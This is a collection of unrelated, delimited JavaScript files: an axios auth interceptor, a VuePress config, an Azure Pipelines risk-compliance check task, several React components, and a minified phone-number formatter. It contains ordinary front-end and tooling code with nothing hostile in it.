// console.log(123);
// 请求会经过这里
const { user } = store.state;
if(user && user.token){
config.headers.Authorization = `Token ${user.token}`
}
// 返回 Token 请求配置对象
return config;
}, function (error) {
// Do something with request error
// 如果请求失败(此时请求还没有发出去)就会进入这里
return Promise.reject(error);
});
}
|
const { resolve } = require("path");
module.exports = {
title: "Plato-Cave",
description: "insight into the source.",
base: "/Plato-Cave/",
locales: {
"/": {
lang: "en-US",
title: "plato-cave",
description: "insight into the source."
},
"/zh/": {
lang: "zh-CN",
title: "柏拉图洞穴",
description: "洞悉源"
}
},
themeConfig: {
repo: 'huangbuchao/Plato-Cave',
editLinks: true,
smoothScroll: true,
locales: {
"/": {
selectText: "Languages",
label: "English",
ariaLabel: "Languages",
editLinkText: "Edit this page on GitHub",
lastUpdated: 'Last Updated',
nav: require("./nav/en"),
sidebar: require('./sidebar/en')
},
"/zh/": {
selectText: "选择语言",
label: "简体中文",
ariaLabel: '选择语言',
editLinkText: "在 GitHub 上编辑此页",
lastUpdated: '上次更新',
nav: require('./nav/zh'),
sidebar: require('./sidebar/zh')
}
}
},
configureWebpack: {
resolve: {
alias: {
"@imgs": resolve(__dirname, "./images")
}
}
},
extraWatchFiles: [
'.vuepress/nav/en.js',
'.vuepress/nav/zh.js',
'.vuepress/sidebar/en.js',
'.vuepress/sidebar/zh.js',
]
};
|
var tl = require('azure-pipelines-task-lib/task');
var request = require('request');
var endpoint = tl.getInput('connection', true);
var projectId = tl.getInput('projectid', true);
request.get({
url: tl.getEndpointUrl(endpoint, false) + '/api/v2/projects/'+ projectId +'/',
'headers': {
'Authorization': 'Token ' + tl.getEndpointAuthorizationParameter(endpoint, 'apitoken', false)
},
}, function (err, res) {
if (err)
{
tl.setResult(tl.TaskResult.Failed, 'Error occured: '+ err);
}
var project = JSON.parse(res.body);
if (project['risk_policy_compliant'])
{
tl.setResult(tl.TaskResult.Succeeded, 'Project risk status is compliant. URL: '+ project['url']);
}
else {
tl.setResult(tl.TaskResult.Failed, 'Project risk status is NOT compliant. URL: '+ project['url']);
}
});
|
import 'babel-polyfill'
import React from 'react'
import { render } from 'react-dom'
import { createStore } from 'reactorx'
import App from './components/app'
import actions from './actions/counter'
let initialState = {
counter: 0,
}
let store = createStore(initialState, actions)
store.subscribe( store => {
console.log('store: ', store)
render(
<App store={store} />,
document.getElementById('mnt')
)
})
|
O2.extendClass('MW.GXMessage', O876_Raycaster.GXMessage, {
oStyle: {
background: 'rgb(255, 255, 255)',
border: 'rgb(64, 64, 64)',
text: 'rgb(0, 0, 0)',
shadow: 'rgb(220, 220, 220)',
width: 320,
height: 40,
font: 'monospace 10',
speed: 100,
position: 8
}
});
|
this.hassanreact=this.hassanreact||{},this.hassanreact.menu=function(e,t,n){"use strict";function r(e){return e&&"object"==typeof e&&"default"in e?e:{default:e}}var i=r(t);function s(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function o(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function l(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}function a(e,t){return(a=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e})(e,t)}function u(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),t&&a(e,t)}function c(e){return(c="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function d(e,t){if(t&&("object"===c(t)||"function"==typeof t))return t;if(void 0!==t)throw new TypeError("Derived constructors may only return object or undefined");return l(e)}function m(e){return(m=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)})(e)}function p(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(e){return!1}}var f,h,v,b=function(e){u(v,e);var t,r,a,c,f,h=(t=v,r=p(),function(){var e,n=m(t);if(r){var i=m(this).constructor;e=Reflect.construct(n,arguments,i)}else e=n.apply(this,arguments);return d(this,e)});function v(e){var t;return s(this,v),(t=h.call(this,e)).state={visible:!e.popup},t.onEnter=t.onEnter.bind(l(t)),t.onEntered=t.onEntered.bind(l(t)),t.onExit=t.onExit.bind(l(t)),t.onExited=t.onExited.bind(l(t)),t.onPanelClick=t.onPanelClick.bind(l(t)),t.menuRef=i.default.createRef(),t}return a=v,(c=[{key:"onPanelClick",value:function(e){this.props.popup&&n.OverlayService.emit("overlay-click",{originalEvent:e,target:this.target})}},{key:"onItemClick",value:function(e,t){t.disabled?e.preventDefault():(t.url||e.preventDefault(),t.command&&t.command({originalEvent:e,item:t}),this.props.popup&&this.hide(e))}},{key:"onItemKeyDown",value:function(e,t){var n=e.currentTarget.parentElement;switch(e.which){case 40:var r=this.findNextItem(n);r&&r.children[0].focus(),e.preventDefault();break;case 38:var i=this.findPrevItem(n);i&&i.children[0].focus(),e.preventDefault()}}},{key:"findNextItem",value:function(e){var t=e.nextElementSibling;return t?n.DomHandler.hasClass(t,"p-disabled")||!n.DomHandler.hasClass(t,"p-menuitem")?this.findNextItem(t):t:null}},{key:"findPrevItem",value:function(e){var t=e.previousElementSibling;return t?n.DomHandler.hasClass(t,"p-disabled")||!n.DomHandler.hasClass(t,"p-menuitem")?this.findPrevItem(t):t:null}},{key:"toggle",value:function(e){this.props.popup&&(this.state.visible?this.hide(e):this.show(e))}},{key:"show",value:function(e){var t=this;this.target=e.currentTarget;var n=e;this.setState({visible:!0},(function(){t.props.onShow&&t.props.onShow(n)}))}},{key:"hide",value:function(e){var t=this,n=e;this.setState({visible:!1},(function(){t.props.onHide&&t.props.onHide(n)}))}},{key:"onEnter",value:function(){n.ZIndexUtils.set("menu",this.menuRef.current,this.props.baseZIndex),n.DomHandler.absolutePosition(this.menuRef.current,this.target)}},{key:"onEntered",value:function(){this.bindDocumentListeners(),this.bindScrollListener()}},{key:"onExit",value:function(){this.target=null,this.unbindDocumentListeners(),this.unbindScrollListener()}},{key:"onExited",value:function(){n.ZIndexUtils.clear(this.menuRef.current)}},{key:"bindDocumentListeners",value:function(){var e=this;this.documentClickListener||(this.documentClickListener=function(t){e.state.visible&&e.isOutsideClicked(t)&&e.hide(t)},document.addEventListener("click",this.documentClickListener)),this.documentResizeListener||(this.documentResizeListener=function(t){e.state.visible&&!n.DomHandler.isAndroid()&&e.hide(t)},window.addEventListener("resize",this.documentResizeListener))}},{key:"unbindDocumentListeners",value:function(){this.documentClickListener&&(document.removeEventListener("click",this.documentClickListener),this.documentClickListener=null),this.documentResizeListener&&(window.removeEventListener("resize",this.documentResizeListener),this.documentResizeListener=null)}},{key:"bindScrollListener",value:function(){var e=this;this.scrollHandler||(this.scrollHandler=new n.ConnectedOverlayScrollHandler(this.target,(function(t){e.state.visible&&e.hide(t)}))),this.scrollHandler.bindScrollListener()}},{key:"unbindScrollListener",value:function(){this.scrollHandler&&this.scrollHandler.unbindScrollListener()}},{key:"isOutsideClicked",value:function(e){return this.menuRef&&this.menuRef.current&&!(this.menuRef.current.isSameNode(e.target)||this.menuRef.current.contains(e.target))}},{key:"componentWillUnmount",value:function(){this.unbindDocumentListeners(),this.scrollHandler&&(this.scrollHandler.destroy(),this.scrollHandler=null),n.ZIndexUtils.clear(this.menuRef.current)}},{key:"renderSubmenu",value:function(e,t){var r=this,s=n.classNames("p-submenu-header",{"p-disabled":e.disabled},e.className),o=e.items.map((function(e,t){return r.renderMenuitem(e,t)}));return i.default.createElement(i.default.Fragment,{key:e.label+"_"+t},i.default.createElement("li",{className:s,style:e.style,role:"presentation","aria-disabled":e.disabled},e.label),o)}},{key:"renderSeparator",value:function(e){return i.default.createElement("li",{key:"separator_"+e,className:"p-menu-separator",role:"separator"})}},{key:"renderMenuitem",value:function(e,t){var r=this,s=n.classNames("p-menuitem",e.className),o=n.classNames("p-menuitem-link",{"p-disabled":e.disabled}),l=n.classNames("p-menuitem-icon",e.icon),a=e.disabled?null:0,u=i.default.createElement("a",{href:e.url||"#",className:o,role:"menuitem",target:e.target,onClick:function(t){return r.onItemClick(t,e)},onKeyDown:function(t){return r.onItemKeyDown(t,e)},tabIndex:a,"aria-disabled":e.disabled},e.icon&&i.default.createElement("span",{className:l}),e.label&&i.default.createElement("span",{className:"p-menuitem-text"},e.label));return e.template&&(u=n.ObjectUtils.getJSXElement(e.template,e,{onClick:function(t){return r.onItemClick(t,e)},onKeyDown:function(t){return r.onItemKeyDown(t,e)},className:o,tabIndex:a,labelClassName:"p-menuitem-text",iconClassName:l,element:u,props:this.props})),i.default.createElement("li",{key:e.label+"_"+t,className:s,style:e.style,role:"none"},u)}},{key:"renderItem",value:function(e,t){return e.separator?this.renderSeparator(t):e.items?this.renderSubmenu(e,t):this.renderMenuitem(e,t)}},{key:"renderMenu",value:function(){var e=this;return this.props.model.map((function(t,n){return e.renderItem(t,n)}))}},{key:"renderElement",value:function(){if(this.props.model){var e=n.classNames("p-menu p-component",this.props.className,{"p-menu-overlay":this.props.popup}),t=this.renderMenu();return i.default.createElement(n.CSSTransition,{nodeRef:this.menuRef,classNames:"p-connected-overlay",in:this.state.visible,timeout:{enter:120,exit:100},options:this.props.transitionOptions,unmountOnExit:!0,onEnter:this.onEnter,onEntered:this.onEntered,onExit:this.onExit,onExited:this.onExited},i.default.createElement("div",{ref:this.menuRef,id:this.props.id,className:e,style:this.props.style,onClick:this.onPanelClick},i.default.createElement("ul",{className:"p-menu-list p-reset",role:"menu"},t)))}return null}},{key:"render",value:function(){var e=this.renderElement();return this.props.popup?i.default.createElement(n.Portal,{element:e,appendTo:this.props.appendTo}):e}}])&&o(a.prototype,c),f&&o(a,f),v}(t.Component);return v={id:null,model:null,popup:!1,style:null,className:null,autoZIndex:!0,baseZIndex:0,appendTo:null,transitionOptions:null,onShow:null,onHide:null},(h="defaultProps")in(f=b)?Object.defineProperty(f,h,{value:v,enumerable:!0,configurable:!0,writable:!0}):f[h]=v,e.Menu=b,Object.defineProperty(e,"__esModule",{value:!0}),e}({},React,hassanreact.core);
|
(function(){var aa=this;function h(a,c){var b=a.split("."),d=aa;b[0]in d||!d.execScript||d.execScript("var "+b[0]);for(var e;b.length&&(e=b.shift());)b.length||void 0===c?d[e]?d=d[e]:d=d[e]={}:d[e]=c}function l(a,c){function b(){}b.prototype=c.prototype;a.M=c.prototype;a.prototype=new b;a.prototype.constructor=a;a.N=function(a,b,f){for(var g=Array(arguments.length-2),k=2;k<arguments.length;k++)g[k-2]=arguments[k];return c.prototype[b].apply(a,g)}};function n(a,c){null!=a&&this.a.apply(this,arguments)}n.prototype.b="";n.prototype.set=function(a){this.b=""+a};n.prototype.a=function(a,c,b){this.b+=String(a);if(null!=c)for(var d=1;d<arguments.length;d++)this.b+=arguments[d];return this};function p(a){a.b=""}n.prototype.toString=function(){return this.b};function ba(a,c){a.sort(c||ca)}function ca(a,c){return a>c?1:a<c?-1:0};function da(a){var c=[],b=0,d;for(d in a)c[b++]=a[d];return c};function ea(a,c){this.b=a;this.a={};for(var b=0;b<c.length;b++){var d=c[b];this.a[d.b]=d}}function fa(a){a=da(a.a);ba(a,function(a,b){return a.b-b.b});return a};function ga(a,c){this.b=a;this.g=!!c.G;this.a=c.c;this.j=c.type;this.h=!1;switch(this.a){case ha:case ia:case ja:case ka:case la:case ma:case na:this.h=!0}this.f=c.defaultValue}var na=1,ma=2,ha=3,ia=4,ja=6,ka=16,la=18;function q(){this.a={};this.f=this.i().a;this.b=this.g=null}q.prototype.set=function(a,c){r(this,a.b,c)};function t(a,c){for(var b=fa(a.i()),d=0;d<b.length;d++){var e=b[d],f=e.b;if(null!=c.a[f]){a.b&&delete a.b[e.b];var g=11==e.a||10==e.a;if(e.g)for(var e=v(c,f)||[],k=0;k<e.length;k++){var m=a,u=f,sa=g?e[k].clone():e[k];m.a[u]||(m.a[u]=[]);m.a[u].push(sa);m.b&&delete m.b[u]}else e=v(c,f),g?(g=v(a,f))?t(g,e):r(a,f,e.clone()):r(a,f,e)}}}
q.prototype.clone=function(){var a=new this.constructor;a!=this&&(a.a={},a.b&&(a.b={}),t(a,this));return a};function v(a,c){var b=a.a[c];if(null==b)return null;if(a.g){if(!(c in a.b)){var d=a.g,e=a.f[c];if(null!=b)if(e.g){for(var f=[],g=0;g<b.length;g++)f[g]=d.b(e,b[g]);b=f}else b=d.b(e,b);return a.b[c]=b}return a.b[c]}return b}function w(a,c,b){var d=v(a,c);return a.f[c].g?d[b||0]:d}
function x(a,c){var b;if(null!=a.a[c])b=w(a,c,void 0);else a:{b=a.f[c];if(void 0===b.f){var d=b.j;if(d===Boolean)b.f=!1;else if(d===Number)b.f=0;else if(d===String)b.f=b.h?"0":"";else{b=new d;break a}}b=b.f}return b}function y(a,c){return a.f[c].g?null!=a.a[c]?a.a[c].length:0:null!=a.a[c]?1:0}function r(a,c,b){a.a[c]=b;a.b&&(a.b[c]=b)}function z(a,c){var b=[],d;for(d in c)0!=d&&b.push(new ga(d,c[d]));return new ea(a,b)};/*
Protocol Buffer 2 Copyright 2008 Google Inc.
All other code copyright its respective owners.
Copyright (C) 2010 The Libphonenumber Authors
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
function A(){q.call(this)}var B;l(A,q);function C(){q.call(this)}var D;l(C,q);function E(){q.call(this)}var F;l(E,q);
A.prototype.i=function(){B||(B=z(A,{0:{name:"NumberFormat",I:"i18n.phonenumbers.NumberFormat"},1:{name:"pattern",required:!0,c:9,type:String},2:{name:"format",required:!0,c:9,type:String},3:{name:"leading_digits_pattern",G:!0,c:9,type:String},4:{name:"national_prefix_formatting_rule",c:9,type:String},6:{name:"national_prefix_optional_when_formatting",c:8,type:Boolean},5:{name:"domestic_carrier_code_formatting_rule",c:9,type:String}}));return B};A.ctor=A;A.ctor.i=A.prototype.i;
C.prototype.i=function(){D||(D=z(C,{0:{name:"PhoneNumberDesc",I:"i18n.phonenumbers.PhoneNumberDesc"},2:{name:"national_number_pattern",c:9,type:String},3:{name:"possible_number_pattern",c:9,type:String},6:{name:"example_number",c:9,type:String},7:{name:"national_number_matcher_data",c:12,type:String},8:{name:"possible_number_matcher_data",c:12,type:String}}));return D};C.ctor=C;C.ctor.i=C.prototype.i;
E.prototype.i=function(){F||(F=z(E,{0:{name:"PhoneMetadata",I:"i18n.phonenumbers.PhoneMetadata"},1:{name:"general_desc",c:11,type:C},2:{name:"fixed_line",c:11,type:C},3:{name:"mobile",c:11,type:C},4:{name:"toll_free",c:11,type:C},5:{name:"premium_rate",c:11,type:C},6:{name:"shared_cost",c:11,type:C},7:{name:"personal_number",c:11,type:C},8:{name:"voip",c:11,type:C},21:{name:"pager",c:11,type:C},25:{name:"uan",c:11,type:C},27:{name:"emergency",c:11,type:C},28:{name:"voicemail",c:11,type:C},24:{name:"no_international_dialling",
c:11,type:C},9:{name:"id",required:!0,c:9,type:String},10:{name:"country_code",c:5,type:Number},11:{name:"international_prefix",c:9,type:String},17:{name:"preferred_international_prefix",c:9,type:String},12:{name:"national_prefix",c:9,type:String},13:{name:"preferred_extn_prefix",c:9,type:String},15:{name:"national_prefix_for_parsing",c:9,type:String},16:{name:"national_prefix_transform_rule",c:9,type:String},18:{name:"same_mobile_and_fixed_line_pattern",c:8,defaultValue:!1,type:Boolean},19:{name:"number_format",
G:!0,c:11,type:A},20:{name:"intl_number_format",G:!0,c:11,type:A},22:{name:"main_country_for_code",c:8,defaultValue:!1,type:Boolean},23:{name:"leading_digits",c:9,type:String},26:{name:"leading_zero_possible",c:8,defaultValue:!1,type:Boolean}}));return F};E.ctor=E;E.ctor.i=E.prototype.i;function G(){}G.prototype.a=function(a){new a.b;throw Error("Unimplemented");};G.prototype.b=function(a,c){if(11==a.a||10==a.a)return c instanceof q?c:this.a(a.j.prototype.i(),c);if(14==a.a){if("string"==typeof c&&H.test(c)){var b=Number(c);if(0<b)return b}return c}if(!a.h)return c;b=a.j;if(b===String){if("number"==typeof c)return String(c)}else if(b===Number&&"string"==typeof c&&("Infinity"===c||"-Infinity"===c||"NaN"===c||H.test(c)))return Number(c);return c};var H=/^-?[0-9]+$/;function I(){}l(I,G);I.prototype.a=function(a,c){var b=new a.b;b.g=this;b.a=c;b.b={};return b};function J(){}l(J,I);J.prototype.b=function(a,c){return 8==a.a?!!c:G.prototype.b.apply(this,arguments)};J.prototype.a=function(a,c){return J.M.a.call(this,a,c)};/*
Copyright (C) 2010 The Libphonenumber Authors
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
var K={262:["RE","YT"]},L={RE:[null,[null,null,"[268]\\d{8}","\\d{9}"],[null,null,"262\\d{6}","\\d{9}",null,null,"262161234"],[null,null,"6(?:9[23]|47)\\d{6}","\\d{9}",null,null,"692123456"],[null,null,"80\\d{7}","\\d{9}",null,null,"801234567"],[null,null,"89[1-37-9]\\d{6}","\\d{9}",null,null,"891123456"],[null,null,"8(?:1[019]|2[0156]|84|90)\\d{6}","\\d{9}",null,null,"810123456"],[null,null,"NA","NA"],[null,null,"NA","NA"],"RE",262,"00","0",null,null,"0",null,null,null,[[null,"([268]\\d{2})(\\d{2})(\\d{2})(\\d{2})",
"$1 $2 $3 $4",null,"0$1"]],null,[null,null,"NA","NA"],1,"262|6[49]|8",[null,null,"NA","NA"],[null,null,"NA","NA"],null,null,[null,null,"NA","NA"]]};/*
Copyright (C) 2010 The Libphonenumber Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
function M(){this.a={}}M.b=function(){return M.a?M.a:M.a=new M};
var oa={0:"0",1:"1",2:"2",3:"3",4:"4",5:"5",6:"6",7:"7",8:"8",9:"9","\uff10":"0","\uff11":"1","\uff12":"2","\uff13":"3","\uff14":"4","\uff15":"5","\uff16":"6","\uff17":"7","\uff18":"8","\uff19":"9","\u0660":"0","\u0661":"1","\u0662":"2","\u0663":"3","\u0664":"4","\u0665":"5","\u0666":"6","\u0667":"7","\u0668":"8","\u0669":"9","\u06f0":"0","\u06f1":"1","\u06f2":"2","\u06f3":"3","\u06f4":"4","\u06f5":"5","\u06f6":"6","\u06f7":"7","\u06f8":"8","\u06f9":"9"},pa=RegExp("[+\uff0b]+"),qa=RegExp("([0-9\uff10-\uff19\u0660-\u0669\u06f0-\u06f9])"),
ra=/^\(?\$1\)?$/;function N(a,c){if(null==c)return null;c=c.toUpperCase();var b=a.a[c];if(null==b){b=L[c];if(null==b)return null;b=(new J).a(E.i(),b);a.a[c]=b}return b}function O(a){a=K[a];return null==a?"ZZ":a[0]};function P(a){this.H=RegExp("\u2008");this.B="";this.m=new n;this.v="";this.h=new n;this.u=new n;this.j=!0;this.w=this.o=this.D=!1;this.F=M.b();this.s=0;this.b=new n;this.A=!1;this.l="";this.a=new n;this.f=[];this.C=a;this.J=this.g=Q(this,this.C)}var R=new E;r(R,11,"NA");
var ta=/\[([^\[\]])*\]/g,ua=/\d(?=[^,}][^,}])/g,va=RegExp("^[-x\u2010-\u2015\u2212\u30fc\uff0d-\uff0f \u00a0\u00ad\u200b\u2060\u3000()\uff08\uff09\uff3b\uff3d.\\[\\]/~\u2053\u223c\uff5e]*(\\$\\d[-x\u2010-\u2015\u2212\u30fc\uff0d-\uff0f \u00a0\u00ad\u200b\u2060\u3000()\uff08\uff09\uff3b\uff3d.\\[\\]/~\u2053\u223c\uff5e]*)+$"),S=/[- ]/;
function Q(a,c){var b;if(null!=c&&isNaN(c)&&c.toUpperCase()in L){b=N(a.F,c);if(null==b)throw"Invalid region code: "+c;b=x(b,10)}else b=0;b=N(a.F,O(b));return null!=b?b:R}
function T(a){for(var c=a.f.length,b=0;b<c;++b){var d=a.f[b],e=x(d,1);if(a.v==e)return!1;var f;f=a;var g=d,k=x(g,1);if(-1!=k.indexOf("|"))f=!1;else{k=k.replace(ta,"\\d");k=k.replace(ua,"\\d");p(f.m);var m;m=f;var g=x(g,2),u="999999999999999".match(k)[0];u.length<m.a.b.length?m="":(m=u.replace(new RegExp(k,"g"),g),m=m.replace(RegExp("9","g"),"\u2008"));0<m.length?(f.m.a(m),f=!0):f=!1}if(f)return a.v=e,a.A=S.test(w(d,4)),a.s=0,!0}return a.j=!1}
function U(a,c){for(var b=[],d=c.length-3,e=a.f.length,f=0;f<e;++f){var g=a.f[f];0==y(g,3)?b.push(a.f[f]):(g=w(g,3,Math.min(d,y(g,3)-1)),0==c.search(g)&&b.push(a.f[f]))}a.f=b}P.prototype.K=function(){this.B="";p(this.h);p(this.u);p(this.m);this.s=0;this.v="";p(this.b);this.l="";p(this.a);this.j=!0;this.w=this.o=this.D=!1;this.f=[];this.A=!1;this.g!=this.J&&(this.g=Q(this,this.C))};P.prototype.L=function(a){return this.B=wa(this,a)};
function wa(a,c){a.h.a(c);var b=c;if(qa.test(b)||1==a.h.b.length&&pa.test(b)){var b=c,d;"+"==b?(d=b,a.u.a(b)):(d=oa[b],a.u.a(d),a.a.a(d));c=d}else a.j=!1,a.D=!0;if(!a.j){if(!a.D)if(V(a)){if(W(a))return X(a)}else if(0<a.l.length&&(b=a.a.toString(),p(a.a),a.a.a(a.l),a.a.a(b),b=a.b.toString(),d=b.lastIndexOf(a.l),p(a.b),a.b.a(b.substring(0,d))),a.l!=xa(a))return a.b.a(" "),X(a);return a.h.toString()}switch(a.u.b.length){case 0:case 1:case 2:return a.h.toString();case 3:if(V(a))a.w=!0;else return a.l=
xa(a),Y(a);default:if(a.w)return W(a)&&(a.w=!1),a.b.toString()+a.a.toString();if(0<a.f.length){b=ya(a,c);d=za(a);if(0<d.length)return d;U(a,a.a.toString());return T(a)?Aa(a):a.j?Z(a,b):a.h.toString()}return Y(a)}}function X(a){a.j=!0;a.w=!1;a.f=[];a.s=0;p(a.m);a.v="";return Y(a)}function za(a){for(var c=a.a.toString(),b=a.f.length,d=0;d<b;++d){var e=a.f[d],f=x(e,1);if((new RegExp("^(?:"+f+")$")).test(c))return a.A=S.test(w(e,4)),c=c.replace(new RegExp(f,"g"),w(e,2)),Z(a,c)}return""}
function Z(a,c){var b=a.b.b.length;return a.A&&0<b&&" "!=a.b.toString().charAt(b-1)?a.b+" "+c:a.b+c}function Y(a){var c=a.a.toString();if(3<=c.length){for(var b=a.o&&0<y(a.g,20)?v(a.g,20)||[]:v(a.g,19)||[],d=b.length,e=0;e<d;++e){var f=b[e],g;(g=null==a.g.a[12]||a.o||w(f,6))||(g=x(f,4),g=0==g.length||ra.test(g));g&&va.test(x(f,2))&&a.f.push(f)}U(a,c);c=za(a);return 0<c.length?c:T(a)?Aa(a):a.h.toString()}return Z(a,c)}
function Aa(a){var c=a.a.toString(),b=c.length;if(0<b){for(var d="",e=0;e<b;e++)d=ya(a,c.charAt(e));return a.j?Z(a,d):a.h.toString()}return a.b.toString()}
function xa(a){var c=a.a.toString(),b=0,d;1!=w(a.g,10)?d=!1:(d=a.a.toString(),d="1"==d.charAt(0)&&"0"!=d.charAt(1)&&"1"!=d.charAt(1));d?(b=1,a.b.a("1").a(" "),a.o=!0):null!=a.g.a[15]&&(d=new RegExp("^(?:"+w(a.g,15)+")"),d=c.match(d),null!=d&&null!=d[0]&&0<d[0].length&&(a.o=!0,b=d[0].length,a.b.a(c.substring(0,b))));p(a.a);a.a.a(c.substring(b));return c.substring(0,b)}
function V(a){var c=a.u.toString(),b=new RegExp("^(?:\\+|"+w(a.g,11)+")"),b=c.match(b);return null!=b&&null!=b[0]&&0<b[0].length?(a.o=!0,b=b[0].length,p(a.a),a.a.a(c.substring(b)),p(a.b),a.b.a(c.substring(0,b)),"+"!=c.charAt(0)&&a.b.a(" "),!0):!1}
function W(a){if(0==a.a.b.length)return!1;var c=new n,b;a:{b=a.a.toString();if(0!=b.length&&"0"!=b.charAt(0))for(var d,e=b.length,f=1;3>=f&&f<=e;++f)if(d=parseInt(b.substring(0,f),10),d in K){c.a(b.substring(f));b=d;break a}b=0}if(0==b)return!1;p(a.a);a.a.a(c.toString());c=O(b);"001"==c?a.g=N(a.F,""+b):c!=a.C&&(a.g=Q(a,c));a.b.a(""+b).a(" ");a.l="";return!0}
function ya(a,c){var b=a.m.toString();if(0<=b.substring(a.s).search(a.H)){var d=b.search(a.H),b=b.replace(a.H,c);p(a.m);a.m.a(b);a.s=d;return b.substring(0,a.s+1)}1==a.f.length&&(a.j=!1);a.v="";return a.h.toString()};h("Cleave.AsYouTypeFormatter",P);h("Cleave.AsYouTypeFormatter.prototype.inputDigit",P.prototype.L);h("Cleave.AsYouTypeFormatter.prototype.clear",P.prototype.K);}.call(window));
|
/*
* Copyright 2020 Verizon Media
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
import React from 'react';
import styled from '@emotion/styled';
import RadioButton from '../denali/RadioButton';
import DateUtils from '../utils/DateUtils';
const TDStyled = styled.td`
background-color: ${(props) => props.color};
text-align: ${(props) => props.align};
padding: 5px 0 5px 15px;
vertical-align: middle;
word-break: break-all;
border-bottom: 1px solid #d5d5d5;
`;
const TrStyled = styled.tr`
box-sizing: border-box;
margin-top: 10px;
box-shadow: 0 1px 4px #d9d9d9;
border: 1px solid #fff;
-webkit-border-image: none;
border-image: none;
-webkit-border-image: initial;
border-image: initial;
height: 50px;
`;
export default class ReviewRow extends React.Component {
constructor(props) {
super(props);
this.api = this.props.api;
this.onReview = this.onReview.bind(this);
let selectedOption =
this.props.category === 'group' ? 'no-action' : 'extend';
this.state = {
selectedOption: selectedOption,
};
this.localDate = new DateUtils();
}
onReview(evt) {
switch (evt.target.value) {
case 'extend':
this.props.onUpdate('extend', this.props.details.memberName);
break;
case 'delete':
this.props.onUpdate('delete', this.props.details.memberName);
break;
case 'no-action':
this.props.onUpdate('no-action', this.props.details.memberName);
break;
default:
break;
}
this.setState({
selectedOption: evt.target.value,
});
}
componentDidUpdate = (prevProps) => {
if (prevProps.submittedReview !== this.props.submittedReview) {
this.setState({
selectedOption:
this.props.category === 'group' ? 'no-action' : 'extend',
});
}
};
render() {
let rows = [];
let left = 'left';
let center = 'center';
let member = this.props.details;
let color = this.props.color;
let exp = member.expiration
? this.localDate.getLocalDate(member.expiration, 'UTC', 'UTC')
: 'N/A';
let reminder = member.reviewReminder
? this.localDate.getLocalDate(member.reviewReminder, 'UTC', 'UTC')
: 'N/A';
rows.push(
<TrStyled key={this.props.idx} data-testid='review-row'>
<TDStyled color={color} align={left}>
{member.memberName}
</TDStyled>
<TDStyled color={color} align={left}>
{member.memberFullName}
</TDStyled>
{this.props.category === 'group' && (
<TDStyled color={color} align={left} colSpan={2}>
{exp}
</TDStyled>
)}
{this.props.category === 'role' && (
<TDStyled color={color} align={left}>
{exp}
</TDStyled>
)}
{this.props.category === 'role' && (
<TDStyled color={color} align={left}>
{reminder}
</TDStyled>
)}
<TDStyled color={color} align={center}>
<RadioButton
name={this.props.collection + this.props.idx}
value='extend'
checked={this.state.selectedOption === 'extend'}
onChange={this.onReview}
/>
</TDStyled>
<TDStyled color={color} align={center}>
<RadioButton
name={this.props.collection + this.props.idx}
value='no-action'
checked={this.state.selectedOption === 'no-action'}
onChange={this.onReview}
/>
</TDStyled>
<TDStyled color={color} align={center}>
<RadioButton
name={this.props.collection + this.props.idx}
value='delete'
checked={this.state.selectedOption === 'delete'}
onChange={this.onReview}
/>
</TDStyled>
</TrStyled>
);
return rows;
}
}
|
import React, { Component } from 'react';
import { connect } from 'react-redux';
import {getProductsList} from '../actions/infinia.js'
class ProductList extends Component{
componentDidMount(){
this.props.dispatch(getProductsList())
}
render(){
let {products} = this.props;
console.log(products);
return(
<div className="all-items-list">
{products?products.map(product=>
<div key={product.id} className="item-hover-card">
<div className="item-hover-card-thumb">
<div className="cart-counter">
<img src="../../img/infinia/cart1.png" />
{/*{this.state.count}*/}
</div>
<img src="../../img/store/d.jpg" />
</div>
<div className="item-details">
<div className="item-name">{product.name}</div>
<div className="item-price">{product.price} {product.currency}</div>
<div className="item-description">SKU: 00AD<br/>Brand: Mukharjee<br/>COO: Dubai<br/>Stock: 200</div>
<div className="item-add-cart">
{/*<div className="box click" onClick={_=>this.remove()}>-</div>*/}
{/*<div className="count">{this.state.count}</div>*/}
{/*<div className="box click" onClick={_=>this.add()}>+</div>*/}
</div>
</div>
</div>
):<h1>There is no data</h1>}
</div>
);
